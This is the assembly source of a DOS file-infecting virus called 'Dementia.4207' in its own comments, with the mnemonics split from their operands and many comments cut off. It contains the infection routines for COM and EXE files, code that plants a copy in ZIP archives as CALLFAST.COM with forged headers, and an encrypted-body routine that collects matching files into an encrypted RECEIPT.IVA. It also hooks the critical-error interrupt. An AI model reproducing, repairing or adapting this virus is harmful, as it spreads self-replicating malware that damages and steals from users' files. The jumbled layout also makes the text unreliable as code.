; Store low-order word of filesize ; Store high-order word of filesize

; Store low-order word of CRC-32 c... ; Store high-order word of CRC-32 ... ; BX = file handle of ZIP file ; CX = high-order word of offset o... ; DX = low-order word of offset of...

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer ax,'KP' ; AX = low-order word of local hea... ds:[00h],ax ; Store low-order word of local he... ax,403h ; AX = high-order word of local hea... ds:[02h],ax ; Store high-order word of local he... ax,0ah ; AX = version needed to extract (v... ds:[04h],ax ; Store version needed to extract (... ax,ax ; AX = general purpose bit flag and... ds:[06h],ax ; Store general purpose bit flag ds:[08h],ax ; Store compression method (the fil... ax,3021h ; AX = last modified file time ds:[0ah],ax ; Store last modified file time ax,1ae1h ; AX = last modified file date ds:[0ch],ax ; Store last modified file date ax,[bp-20h] ; AX = low-order word of CRC-32 ch... ds:[0eh],ax ; Store low-order word of CRC-32 c... ax,[bp-1eh] ; AX = high-order word of CRC-32 c...

mov mov mov mov mov mov mov mov mov xor mov mov call push pop lea nop mov nop call mov add mov mov call copy_callfas: mov mov call cmp je mov mov call jmp copy_cds_: mov call cpy_cds_loop: mov cmp je dec mov mov mov mov mov mov mov mov call

ds:[10h],ax ; Store high-order word of CRC-32 ... ax,[bp-1ch] ; AX = low-order word of filesize ds:[12h],ax ; Store low-order word of compress... ds:[16h],ax ; Store low-order word of uncompre... ax,[bp-1ah] ; AX = high-order word of filesize ds:[14h],ax ; Store high-order word of compres... ds:[18h],ax ; Store high-order word of uncompr... ax,0ch ; AX = filename length (12 bytes) ds:[1ah],ax ; Store filename length (12 bytes) ax,ax ; AX = extra field length (0 bytes) ds:[1ch],ax ; Store extra field length (0 bytes) cx,1eh write_file cs ds dx,filename cx,0ch write_file_ ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer bx,[bp-14h] set_pos_sof ; BX = file handle of CALLFAST.COM ; Write thirty bytes

; Save CS at stack ; Load DS from stack (CS) ; DX = offset of filename ; Write twelve bytes

bx,[bp-14h] ; BX = file handle of CALLFAST.COM cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? copy_cds_ ; Equal? Jump to copy_cds_ cx,ax ; CX = number of bytes actually read bx,[bp-08h] ; BX = file handle of ZIP file write_file copy_callfas bx,[bp-0ah] set_pos_sof ; BX = file handle of !#TEMP#!

ax,[bp-0ch] ; AX = number of central directory... ax,00h ; No central directory file header? wrt_last_cds ; Equal? Jump to write_last_cds ax ; Decrease number of central direc... [bp-0ch],ax ; Store number of central director... ax,'KP' ds:[00h],ax ax,201h ds:[02h],ax ; AX = low-order word of central d... ; Store low-order word of central ... ; AX = high-order word of central ... ; Store high-order word of central...

bx,[bp-0ah] ; BX = file handle of !#TEMP#! cx,2ah ; Read forty-two bytes dx,04h ; DX = offset of central directory... read_file_

mov mov add mov add push mov call mov pop add call jmp wrt_last_cds: mov mov mov xor mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov xor mov mov mov mov mov mov mov mov mov mov mov mov call push pop lea nop mov nop call

cx,ds:[1ch] ; CX = filename length dx,ds:[1eh] ; DX = extra field length cx,dx ; Add extra field length to filena... dx,ds:[20h] ; DX = file comment length cx,dx ; CX = number of bytes to read cx dx,2eh read_file_ ; Save CX at stack ; DX = offset of central directory...

bx,[bp-08h] ; BX = file handle of ZIP file cx ; Load CX from stack cx,2eh ; Add size of central directory fi... write_file cpy_cds_loop ax,0ah ds:[04h],ax ds:[06h],ax ax,ax ds:[08h],ax ds:[0ah],ax ax,3021h ds:[0ch],ax ax,1ae1h ds:[0eh],ax ax,[bp-20h] ds:[10h],ax ax,[bp-1eh] ds:[12h],ax ax,[bp-1ch] ds:[14h],ax ds:[18h],ax ax,[bp-1ah] ds:[16h],ax ds:[1ah],ax ax,0ch ds:[1ch],ax ax,ax ds:[1eh],ax ds:[20h],ax ds:[22h],ax ds:[24h],ax ds:[26h],ax ds:[28h],ax ax,[bp-18h] ds:[2ah],ax ax,[bp-16h] ds:[2ch],ax ; AX = version made by (version 1.... ; Store version made by (version 1... ; Store version needed to extract (... ; AX = general purpose bit flag and... ; Store general purpose bit flag ; Store compression method (the fil... ; AX = last modified file time ; Store last modified file time ; AX = last modified file date ; Store last modified file date ; AX = low-order word of CRC-32 ch... ; Store low-order word of CRC-32 c... ; AX = high-order word of CRC-32 c... ; Store high-order word of CRC-32 ... ; AX = low-order word of filesize ; Store low-order word of compress... ; Store low-order word of uncompre... ; AX = high-order word of filesize ; Store high-order word of compres... ; Store high-order word of compres... ; AX = filename length (12 bytes) ; Store filename length (12 bytes) ; AX = extra field length, file co... ; Store extra field length (0 bytes) ; Store file comment length (0 bytes) ; Store disk number start (0 bytes) ; Store internal file attributes ; Store low-order word of external... ; Store high-order word of externa... ; AX = low-order word of offset of... ; Store low-order word of relative... ; AX = high-order word of offset o... ; Store high-order word of relativ...

bx,[bp-08h] ; BX = file handle of ZIP file cx,2eh ; Write forty-six bytes write_file cs ds dx,filename cx,0ch write_file_ ; Save CS at stack ; Load DS from stack (CS) ; DX = offset of filename ; Write twelve bytes

mov add mov mov mov mov mov mov mov mov call mov push mov call mov inc mov mov inc mov mov mov add nop adc mov mov mov mov add nop adc mov add mov add adc mov mov mov pop add call mov call lea nop call jmp test_receipt: mov or jz

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer ax,'KP' ds:[00h],ax ax,605h ds:[02h],ax ; AX = low-order word of end of ce... ; Store low-order word of end of c... ; AX = high-order word of end of c... ; Store high-order word of end of ...

bx,[bp-0ah] ; BX = file handle of !#TEMP#! cx,12h ; Read eightteen bytes dx,04h ; DX = offset of end of central di... read_file_ cx,ds:[14h] ; CX = zipfile comment length cx ; Save CX at stack dx,16h ; DX = offset of zipfile comment read_file_ ax,ds:[08h] ; AX = total number of entries in ... ax ; Increase total number of entries... ds:[08h],ax ; Store total number of entries in... ax,ds:[0ah] ; AX = total number of entries in ... ax ; Increase total number of entries... ds:[0ah],ax ; Store total number of entries in... ax,ds:[0ch] ; AX = low-order word of size of t... dx,ds:[0eh] ; DX = high-order word of size of ... ax,3ah ; Add size of central directory fi... dx,00h ; Convert to 32-bit ds:[0ch],ax ; Store low-order word of size of ... ds:[0eh],dx ; Store high-order word of size of... ax,ds:[10h] ; AX = low-order word of offset of... dx,ds:[12h] ; DX = high-order word of offset o... ax,2ah ; Add size of local file header to... dx,00h bx,[bp-1ah] dx,bx bx,[bp-1ch] ax,bx dx,00h ds:[10h],ax ds:[12h],dx ; Convert to 32-bit ; BX = high-order word of filesize ; Add high-order word of filesize ... ; BX = low-order word of filesize ; Add low-order word of filesize t... ; Convert to 32-bit ; Store low-order word of offset o... ; Store high-order word of offset ...

bx,[bp-08h] ; BX = file handle of ZIP file cx ; Load CX from stack cx,16h ; Add size of end of central direc... write_file bx,[bp-14h] close_file dx,filename delete_file call_mark_ ax,[bp-12h] ; AX = found RECEIPT.IVA ax,ax ; Didn't found RECEIPT.IVA exam_extra ; Zero? Jump to exam_extra ; BX = file handle of CALLFAST.COM

; DX = offset of filename

jmp exam_extra: mov mov mov call mov add mov mov mov call cld xor xor lodsw cmp je jmp comp_extra: lodsw cmp je jmp load_extra: lodsw mov lodsb xor mov push decrypt_next: push mov decrypt_spec: lodsw xor stosw loop pop loop mov add mov push push pop mov xor xor

call_mark_ bx,[bp-08h] cx,[bp-22h] dx,[bp-24h] set_pos_sof_ ; BX = file handle of ZIP file ; CX = high-order word of extra field ; DX = low-order word of extra field

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer es,ax ; ES = segment of data buffer cx,400h read_file ; Read one thousand and twenty-fou...

; Clear direction flag ; Zero SI ; Zero DI ; AX = word of extra field ax,1492h ; Found infection mark? comp_extra ; Equal? Jump to comp_extra si,si di,di call_mark_ ; AX = word of extra field ax,1776h ; Found infection mark? load_extra ; Equal? Jump to load_extra call_mark_ ; AX = 16-bit decryption key ; DX = " " " ; AL = number of file specifications ; Zero CX ; CL = number of filespecification ; Save AX at stack ; Save CX at stack ; Decryption fourteen bytes ; AX = word of encrypted file spec... ; Decrypt word of file specification ; Store word of file specification

dx,ax

cx,cx cl,al ax cx cx,07h

ax,dx

decrypt_spec cx decrypt_next ax,ds ax,40h es,ax ds es ds ah,47h dl,dl si,si ; AX = segment of data buffer ; AX = segment of pathname ; ES = " " " ; Save DS at stack ; Save ES at stack ; Load DS from stack (ES) ; Get current directory ; Default drive ; Zero SI ; Load CX from stack

int pop mov add mov xor mov stosb xor stosb push mov int mov mov pop push mov add mov xor mov int lea nop call mov mov pop pop mov call mov call mov add mov mov encrypt_rece: mov call cmp je push xor sub mov call pop push mov

21h ds ax,es ax,04h es,ax di,di al,'\' al,al

; Load DS from stack ; AX = segment of pathname ; AX = segment of end of pathname ; ES = " " " " " ; Zero DI ; AL = backslash ; Store backslash ; AL = zero ; Store zero

es ; Save ES at stack ah,2fh ; Get disk transfer area address 21h [bp-26h],es ; Store segment of disk transfer a... [bp-28h],bx ; Store offset of disk transfer ar... es ; Load ES from stack ds ; Save DS at stack ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area dx,dx ah,1ah 21h ; Zero DX ; Set disk transfer area address

dx,receipt_iva

; DX = offset of receipt_iva

create_file bx,ax ; BX = file handle of RECEIPT.IVA [bp-14h],ax ; Store file handle of RECEIPT.IVA ds ; Load DS from stack ax ; Load AX from stack dx,01h ; Don't store backslash create_recei bx,[bp-14h] set_pos_sof ; BX = file handle of RECEIPT.IVA

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area es,ax ; ES = " " " " " cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? set_dta_addr ; Equal? Jump to set_dta_addr ax ; Save AX at stack dx,dx ; Zero DX dx,ax ; DX = -number of bytes actually read cx,-01h set_pos_cfp ax ax cx,ax ; Load AX from stack ; Save AX at stack ; CX = number of bytes actually read

xor xor encrypt_ipt_: lodsb xor stosb loop pop mov call jmp set_dta_addr: call mov mov mov int mov add mov xor mov int push pop push pop lea nop lea nop mov rep jmp call_mark_: mov call mov call mov call lea nop call inf_zip_exit: call pop mov

si,si di,di

; Zero SI ; Zero DI

; AL = byte of RECEIPT.IVA ; Encrypt byte of RECEIPT.IVA ; Store encrypted byte of RECEIPT.IVA encrypt_ipt_ al,0ffh ax cx,ax write_file encrypt_rece close_file ds,[bp-26h] ; DS = segment of disk transfer area dx,[bp-28h] ; DX = offset of disk transfer area ah,1ah ; Set disk transfer area address 21h ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+40h ds,ax ; DS = segment of data buffer dx,dx ah,3bh 21h cs ds cs es ; Zero DX ; Set current directory ; Load AX from stack ; CX = number of bytes actually read

; Save CS at stack ; Load DS from stack (CS) ; Save CS at stack ; Load ES from stack (CS) ; SI = offset of receipt_iva ; DI = offset of filename ; Move thirteen bytes ; Move RECEIPT.IVA to filename

si,receipt_iva di,filename cx,0dh movsb open_filenam bx,[bp-08h] infect_mark bx,[bp-08h] close_file bx,[bp-0ah] close_file dx,temp_file delete_file int24_load

; BX = file handle of ZIP file

; BX = file handle of ZIP file

; BX = file handle of !#TEMP#!

; DX = offset of temp_file

es ds di si dx cx bx ax sp,bp ; SP = stack pointer

pop ret endp

bp

; Load BP from stack ; Return!

infect_com proc near push bp mov bp,sp sub sp,04h mov nop nop mov mov mov mov mov call call mov mov push mov cmp pop je cmp jne cmp jb calc_buf_seg: add jb mov add mov mov mov and sub mov add mov call mov call mov mov mov sub ah,00h

; Infect COM file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer ; COM executable

cs:[com_or_exe],ah

; Store COM executable

ax,ds:[00h] ; AX = word of original code of CO... word ptr cs:[origin_code],ax al,ds:[02h] ; AL = byte of original code of CO... cs:[origin_code+02h],al encrypt_copy set_pos_eof [bp-04h],ax [bp-02h],dx

; Store low-order word of filesize ; Store high-order word of filesize

ax ; Save AX at stack ax,cs:[tst_filesize] ax,01h ; Don't test filesize? ax ; Load AX from stack calc_buf_seg ; Equal? Jump to calc_buf_seg dx,00h ; Filesize too large? inf_com_exit ; Not equal? Jump to inf_com_exit ax,1000h ; Filesize too small? inf_com_exit ; Below? Jump to inf_com_exit ax,(code_end-code_begin) inf_com_exit ; Filesize too large? Jump to inf_... ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer cx,10h ; CX = number of bytes to add to f... ax,[bp-04h] ; AX = filesize ax,0000000000001111b cx,ax ; CX = number of bytes to add to f... ax,[bp-04h] ; AX = filesize ax,cx ; AX = offset of virus within file [bp-04h],ax ; Store offset of virus within file write_file_ cx,(code_end-code_begin) write_file al,0e9h ds:[00h],al ; JMP imm16 (opcode 0e9h) ; Store JMP imm16

ax,[bp-04h] ; AX = filesize ax,03h ; Subtract size of opcode JMP imm16

mov call mov call inf_com_exit: mov pop ret endp

ds:[01h],ax set_pos_sof cx,03h write_file sp,bp bp

; Store 16-bit immediate

; Write three bytes

; SP = stack pointer ; Load BP from stack ; Return!

infect_exe proc near push bp mov bp,sp sub sp,04h mov nop nop mov call mov mov and mov sub mov mov add adc mov mov call push mov mov mov mov shr sub mov mov shl sub sbb mov mov pop mov mov mov mov ah,01h

; Infect EXE file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer ; EXE executable

cs:[com_or_exe],ah set_pos_eof [bp-04h],ax [bp-02h],dx

; Store EXE executable

; Store low-order word of filesize ; Store high-order word of filesize

ax,0000000000001111b cx,10h ; CX = number of bytes to add to f... cx,ax ; CX = " " " " " " " ax,[bp-04h] ; AX = low-order word of filesize dx,[bp-02h] ; DX = high-order word of filesize ax,cx ; Add number of bytes to add to fi... dx,00h ; Convert to 32-bit [bp-04h],ax ; Store low-order word of pointer ... [bp-02h],dx ; Store high-order word of pointer... write_file_ bx ; Save BX at stack ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ... bx,ds:[08h] ; BX = header size in paragraphs cl,0ch ; Divide by four thousand and nine... bx,cl ; BX = header size in sixty-five t... dx,bx ; Subtract header size in sixty fi... bx,ds:[08h] cl,04h bx,cl ax,bx dx,00h [bp-04h],ax [bp-02h],dx bx ; BX = header size in paragraphs Multiply by paragraphs BX = header size Subtract header size from filesize Convert to 32-bit ; Store low-order word of pointer ... ; Store high-order word of pointer... ; Load BX from stack ; ; ; ;

ax,ds:[14h] ; AX = original instruction pointer cs:[instruct_ptr],ax ax,ds:[16h] ; AX = original code segment cs:[code_seg],ax ; Store original code segment

xor mov mov mov test jz jmp calc_ins_ptr: mov shl mov mov shr add mov mov push mov mov mov mov pop add jae jmp store_stack: mov mov mov push mov mov mov mov shr add mov mov shl add adc mov mov pop mov mov add adc mov shl

ax,ax ; Zero AX ds:[14h],ax ; Store initial IP cs:[initial_ip],ax ; Store "

"

ax,[bp-02h] ; AX = high-order word of pointer ... ax,1111111111110000b calc_ins_ptr ; Zero? Jump to calc_ins_ptr inf_exe_exit cl,0ch ax,cl

; Multiply by sixty-five thousand ...

dx,[bp-04h] ; DX = low-order word of pointer t... cl,04h ; Divide by paragraphs dx,cl ; DX = low-order word of pointer t... ax,dx ; AX = initial CS relative to star... ds:[16h],ax ; Store initial CS relative to sta... cs:[initial_cs],ax ; " " " " " " ax ; Save AX at stack ax,ds:[0eh] ; AX = initial SS relative to star... cs:[stack_seg],ax ; Store initial SS relative to sta... ax,ds:[10h] ; AX = initial SP cs:[stack_ptr],ax ; Store initial SP ax ; Load AX from stack ax,(code_end-code_begin+0fh)/10h store_stack ; Above or equal? Jump to store_stack inf_exe_exit ds:[0eh],ax ax,100h ds:[10h],ax ; Store initial SS relative to sta... ; AX = initial SP ; Store initial SP

bx ; Save BX at stack ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ... bx,ds:[08h] ; BX = header size in paragraphs cl,0ch ; Divide by four thousand and nine... bx,cl ; BX = header size in sixty-five t... dx,bx ; Add header size in sixty-five th... bx,ds:[08h] cl,04h bx,cl ax,bx dx,00h [bp-04h],ax [bp-02h],dx bx ; BX = header size in paragraphs Multiply by paragraphs BX = header size Add header size to filesize Convert to 32-bit ; Store low-order word of pointer ... ; Store high-order word of pointer... ; Load BX from stack ; ; ; ;

ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ... ax,(code_end-code_begin) dx,00h ; Convet to 32-bit cl,07h dx,cl

; Multiply by one hundred and twen...

push mov shr add pop and jz inc jmp store_pages: mov store_pages_: mov mov mov cmp jae mov store_maximu: mov call mov call call call mov call inf_exe_exit: mov pop ret endp

ax cl,09h ax,cl dx,ax ax

; ; ; ; ;

Save AX at stack Divide by pages AX = low-order word of pointer t... DX = number of bytes on last 512... Load AX from stack

ax,0000000000011111b store_pages ; Zero? Jump to store_pages dx store_pages_ ax,200h ds:[02h],ax ds:[04h],dx ; AX = total number of 512-bytes p... ; Store total number of 512-bytes ... ; Store number of bytes on last 51... ; Increase number of bytes on last...

ax,ds:[0ch] ; AX = maximum paragraphs to alloc... ax,10h ; Maximum paragraphs to allocate ...? store_maximu ; Above or equal? Jump to store_ma... ax,10h ds:[0ch],ax set_pos_sof cx,20h write_file set_pos_eof encrypt_copy cx,(code_end-code_begin) write_file sp,bp bp ; SP = stack pointer ; Load BP from stack ; Return! ; Write thirty-two bytes ; AX = new maximum paragraphs to a... ; Store maximum paragraphs to allo...

encrypt_copy proc push bx mov int mov xor mov int xor xor mov mov pop

near

; Move virus to data buffer and en... ; Save BX at stack ; Get system time ; BX = hour and minute ; BX = 16-bit random number ; Get system date ; BX = 16-bit random number ; BX = decryption key ; DX = " "

ah,2ch 21h bx,cx bx,dx ah,2ah 21h bx,cx bx,dx dx,bx

cs:[decrypt_key],dx ; Store decryption key bx ; Load BX from stack

cld mov add mov push pop xor xor mov rep push pop lea mov mov std encrypt_loop: lodsw xor stosw loop cld ret endp

; Clear direction flag ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h es,ax ; ES = segment of data buffer cs ds ; Save CS at stack ; Load DS from stack (CS)

si,si ; Zero SI di,di ; Zero DI cx,(code_end-code_begin) movsb ; Move virus to data buffer es ds ; Save ES at stack ; Load DS from stack (ES)

si,crypt_begin-02h ; SI = offset of crypt_end di,si ; DI = " " " cx,(crypt_begin-crypt_end-02h)/02h ; Set direction flag ; AX = word of plain code ; Encrypt word ; Store encrypted word

ax,dx

encrypt_loop ; Clear direction flag ; Return!

int24_store proc near push bx dx ds es mov int mov mov push pop lea mov int pop ret endp int24_load proc near push dx ds mov mov mov int pop

; Get and set interrupt vector 24h ; Save registers at stack

ax,3524h ; Get interrupt vector 24h 21h word ptr cs:[int24_addr],bx word ptr cs:[int24_addr+02h],es cs ds ; Save CS at stack ; Load DS from stack (CS)

dx,int24_virus+110h ; DX = offset of int24_virus + 110h ax,2524h ; Set interrupt vector 24h 21h es ds dx bx ; Load registers from stack

; Return!

; Set interrupt vector 24h ; Load registers from stack

dx,word ptr cs:[int24_addr] ds,word ptr cs:[int24_addr+02h] ax,2524h ; Set interrupt vector 24h 21h ds dx ; Load registers from stack

ret endp int24_virus proc near mov al,03h iret endp

; Return!

; Interrupt 24h of Dementia.4207 ; Fail system call in progress ; Interrupt return!

calc_crc32 proc near ; Calculate CRC-32 checksum mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer add mov xor xor gen_crc_tab: xor xor mov push mov gen_crc_loop: clc rcr rcr jnc xor xor carry_loop: loop mov mov add pop inc cmp jne call mov mov read_block: push mov call cmp je mov pop xor ax,40h es,ax di,di cx,cx dx,dx ax,ax al,cl cx cx,08h ; AX = segment of CRC-32 table ; ES = " " " " ; Zero DI ; Zero CX ; Zero DX ; Zero AX ; AL = counter ; Save CX at stack ; Calculate each CRC-32 table entr...

; Clear carry flag dx,01h ; Rotate DX through carry one bit ... ax,01h ; Rotate AX through carry one bit ... carry_loop ; No carry? Jump to carry_loop dx,0edb8h ax,8320h gen_crc_loop es:[di],ax es:[di+02h],dx di,04h ; Store low-order word of CRC-32 t... ; Store high-order word of CRC-32 ... ; DX = high-order word of CRC-32 t... ; AX = low-order word of CRC-32 ta...

; DI = offset of next CRC-32 table...

cx ; Load CX from stack cx ; Increase count register cx,100h ; Generated enough CRC-32 table en... gen_crc_tab ; Not equal? Jump to gen_crc_tab set_pos_sof dx,0ffffh ax,0ffffh ; DX = high-order word of CRC-32 c... ; AX = low-order word of CRC-32 ch...

ax dx ; Save registers at stack cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? calc_crc_xit ; Equal? Jump to calc_crc_xit cx,ax dx ax si,si ; CX = number of bytes actually read ; Load registers from stack ; Zero SI

cal_crc_loop: push xor mov inc xor mov shl mov mov mov mov xor mov xor mov xor pop loop jmp calc_crc_xit: pop xor xor ret endp

bx cx bh,bh bl,[si] si bl,al cl,02h bx,cl di,bx al,ah ah,dl dl,dh dh,dh

; Save registers at stack ; Zero BH ; BL = byte of file ; Increase index register ; Exclusive OR (XOR) byte of file ... ; Multiply by four ; DI = offset of next CRC-32 table... ; ; ; ; AL = AH = DL = Zero low-order byte of low-order... high-order byte of low-orde... low-order byte of high-orde... DH

bx,es:[di] ; BX = low-order word of CRC-32 ta... ax,bx ; AX = low-order word of CRC-32 ch... bx,es:[di+02h] ; BX = high-order word of CRC-32 t... dx,bx ; DX = high-order word of CRC-32 c... cx bx cal_crc_loop read_block dx ax dx,0ffffh ax,0ffffh ; Load registers from stack ; DX = high-order word of CRC-32 c... ; AX = low-order word of CRC-32 ch... ; Load registers from stack

; Return!

create_recei proc near push bp mov bp,sp sub sp,12h mov mov mov mov mov push pop xor int mov xor mov xor find_first_: mov push mov call push [bp-08h],ax [bp-10h],bx [bp-02h],dx [bp-06h],ds ah,3bh es ds dx,dx 21h

; Create RECEIPT.IVA file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer ; ; ; ; Store Store Store Store number of file specifications file handle of RECEIPT.IVA store or don't store backs... segment of file specificat...

; Set current directory ; Save ES at stack ; Load DS from stack (ES) ; Zero DX

ax,[bp-08h] ; AX = number of file specifications cx,cx ; Zero CX cl,al ; CL = number of file specifications dx,dx ; Zero DX ds,[bp-06h] ; DS = segment of file specification cx ; Save CX at stack cx,0000000000000111b find_first dx ; Save DX at stack

jnc jmp find_next_: mov add mov mov call mov mov call push mov add mov mov mov call pop mov mov call mov add mov mov call mov mov mov mov call mov call copy_file: mov mov call cmp je mov mov call jmp call_fnd_nxt: mov call call jc

find_next_ fnd_nxt_loop

; No error? Jump to find_next_

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area dx,1eh ; DX = offset of filename open_file [bp-12h],ax ; Store file handle of file within... bx,[bp-10h] set_pos_eof ; BX = file handle of RECEIPT.IVA

ds ; Save DS at stack ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+44h ds,ax ; DS = segment of end of pathname cx,40h ; Write sixty-four bytes bx,[bp-10h] ; BX = file handle of RECEIPT.IVA write_file ds ; Load DS from stack cx,0eh ; Write fourteen bytes dx,1eh ; DX = offset of filename write_file_ ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+4ch ds,ax ; DS = segment of data buffer bx,[bp-12h] set_pos_eof ds:[00h],ax ds:[02h],dx ; BX = file handle of file within ... ; Store low-order word of filesize ; Store high-order word of filesize

bx,[bp-10h] ; BX = file handle of RECEIPT.IVA cx,04h ; Write four bytes write_file bx,[bp-12h] set_pos_sof ; BX = file handle of file within ...

bx,[bp-12h] ; BX = file handle of file within ... cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? call_fnd_nxt ; Equal? Jump to call_fnd_nxt cx,ax ; CX = number of bytes actually read bx,[bp-10h] ; BX = file handle of RECEIPT.IVA write_file copy_file bx,[bp-12h] close_file find_next fnd_nxt_loop ; BX = file handle of file within ...

; Error? Jump to fnd_nxt_loop

jmp fnd_nxt_loop: pop add dec cmp je jmp copy_name: xor find_first__: push push pop lea nop mov call jc pop push jmp found_dir: push mov test_count: cmp je call jc dec jmp examine_dta: pop inc mov add mov add mov mov lodsb test je mov lodsb cmp je mov

find_next_ dx cx dx,0eh cx cx,00h copy_name find_first_ cx,cx cx cs ds ; Zero CX ; Save CX at stack ; Save CS at stack ; Load DS from stack (CS) ; DX = offset of file_specifi ; Load registers from stack ; DX = offset of next file specifi... ; Decrease count register ; No more files? ; Equal? Jump to copy_name

dx,file_specifi

cx,0000000000010111b find_first receip_exit ; Error? Jump to receip_exit cx cx test_count cx cx,01h ; Save CX at stack ; Don't examine disk transfer area ; Load CX from stack ; Save CX at stack

cx,00h ; Examine disk transfer area? examine_dta ; Equal? Jump to examine_dta find_next receipt_exit cx test_count cx cx ; Load CX from stack ; Increase count register

; Error? Jump to receipt_exit ; Decrease CX

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+44h es,ax ; ES = segment of end of pathname ax,04h ; AX = segment of disk transfer area ds,ax ; DS = " " " " " si,15h ; SI = offset of attribute of file... ; AL = attribute of file found al,00010000b ; Directory? found_dir ; Equal? Jump to found_dir si,1eh ; SI = offset of filename ; AL = byte of filename al,'.' ; Directory? found_dir ; Equal? Jump to found_dir ax,[bp-02h] ; AX = store or don't store backslash

mov mov cmp je mov stosb copy_name_: lodsb cmp je stosb jmp store_zero: mov xor stosb mov mov mov push call pop mov push pop xor mov xor stosb int jmp receipt_exit: pop receip_exit: mov pop ret endp open_file mov xor int mov ret endp proc

di,ax si,1eh al,01h copy_name_ al,'\'

; DI = offset of end of pathname ; SI = offset of filename ; Don't store backslash? ; Equal? Jump to copy_name_

; AL = backslash ; Store backslash

; AL = byte of filename al,00h ; End of filename? store_zero ; Equal? Jump to store_zero ; Store byte of filename copy_name_ dx,di al,al ; DX = offset of end of pathname ; AL = zero ; Store zero

ax,[bp-08h] ; AX = number of file specifications bx,[bp-10h] ; BX = file handle of RECEIPT.IVA ds,[bp-06h] ; DS = segment of file specifictions cx ; Save CX at stack create_recei cx ; Load CX from stack ah,3bh es ds dx,dx ; Set current directory ; Save ES at stack ; Load DS from stack (ES) ; Zero DX

di,[bp-02h] ; DI = offset of end of pathname al,al ; AL = zero ; Store zero 21h find_first__ cx sp,bp bp ; Load CX from stack ; SP = stack pointer ; Load BP from stack ; Return!

near ax,3dffh cx,cx 21h bx,ax

; Open file ; Open file ; CL = attribute mask of files to ... ; BX = file handle ; Return!

close_file proc near mov ah,3eh int 21h

; Close file ; Close file

ret endp find_first proc near mov ax,4e00h int 21h ret endp find_next mov int ret endp load_info mov int mov mov ret endp proc proc near ah,4fh 21h

; Return!

; Find first matching file ; Find first matching file

; Return!

; Find next matching file ; Find next matching file

; Return!

near ax,5700h 21h [bp-04h],cx [bp-02h],dx

; Get file's date and time ; Get file's date and time ; Store file time ; Store file date

; Return!

infect_mark proc near ; Infection mark mov ax,5701h ; Set file's date and time mov cx,[bp-04h] ; CX = file time mov dx,[bp-02h] ; DX = file date and cx,1111111111100000b or cx,0000000000000001b int 21h ret endp read_file xor proc near dx,dx ; Return!

; Read from file ; Zero DX ; Read from file ; Read from file

read_file_ proc near mov ah,3fh int 21h ret endp endp create_file proc near mov ah,3ch push pop xor int ret endp write_file proc near xor dx,dx cs ds cx,cx 21h

; Return!

; Create file ; Create file ; Save CS at stack ; Load DS from stack (CS) ; CX = file attributes

; Return!

; Write to file ; Zero DX

write_file_ proc near mov ah,40h int 21h ret endp endp set_pos_cfp proc near mov ax,4201h int 21h ret endp

; Write to file ; Write to file

; Return!

; Set current file position (CFP) ; Set current file position (CFP)

; Return!

set_pos_eof proc near ; Set current file position (EOF) mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX cwd ; Zero DX int 21h ret endp set_pos_sof proc near xor cx,cx xor dx,dx set_pos_sof_ proc near mov ax,4200h int 21h ret endp endp delete_file proc push cs pop ds mov xor int ret endp file_begin: mov mov xor mov mov rep xor mov mov nop load_gfx: lodsb ; AL = byte of gfx_begin near ; Return!

; Set current file position (SOF) ; Zero CX ; Zero DX ; Set current file position (SOF) ; Set current file position (SOF)

; Return!

; Delete file ; Save CS at stack ; Load DS from stack (CS) ; Delete file ; CL = attribute mask for deletion

ah,41h cx,cx 21h

; Return!

ax,0b800h es,ax di,di cx,7d0h ax,720h stosw

; AX = segment of text video RAM ; ES = " " " " " ; Zero DI ; Store four thousand bytes ; Black background color, light-gr... ; Overwrite text video RAM

di,di ; Zero DI si,(gfx_begin-file_begin+100h) cx,(gfx_end-gfx_begin)

cmp jne lodsb dec cmp je push xor mov lodsb mov lodsb mov mov push pop rep pop add sub jmp nop store_gfx: stosb dont_sto_gfx: loop int gfx_begin db db db db db db db db db db db db db db db db db db db db db db db db db db

al,0ffh store_gfx

; Write a string? ; Not equal? Jump to store_gfx

; AL = byte of gfx_begin cx ; Derease count register al,0ffh ; Write a single character? store_gfx ; Equal? Jump to store_gfx cx si ds cx,cx cl,al bl,al bh,al si,bx es ds movsb ds si cx si,02h cx,02h dont_sto_gfx ; Save registers at stack ; Zero CX ; CL = size of string ; AL = byte of gfx_begin ; BL = low-order byte of offset of... ; AL = byte of gfx_begin ; BH = high-order byte of offset o... ; SI = offset of string within gfx... ; Save ES at stack ; Load DS from stack (ES) ; Move string to text video RAM ; Load registers at stack ; Add two to index register ; Subtract two from count register

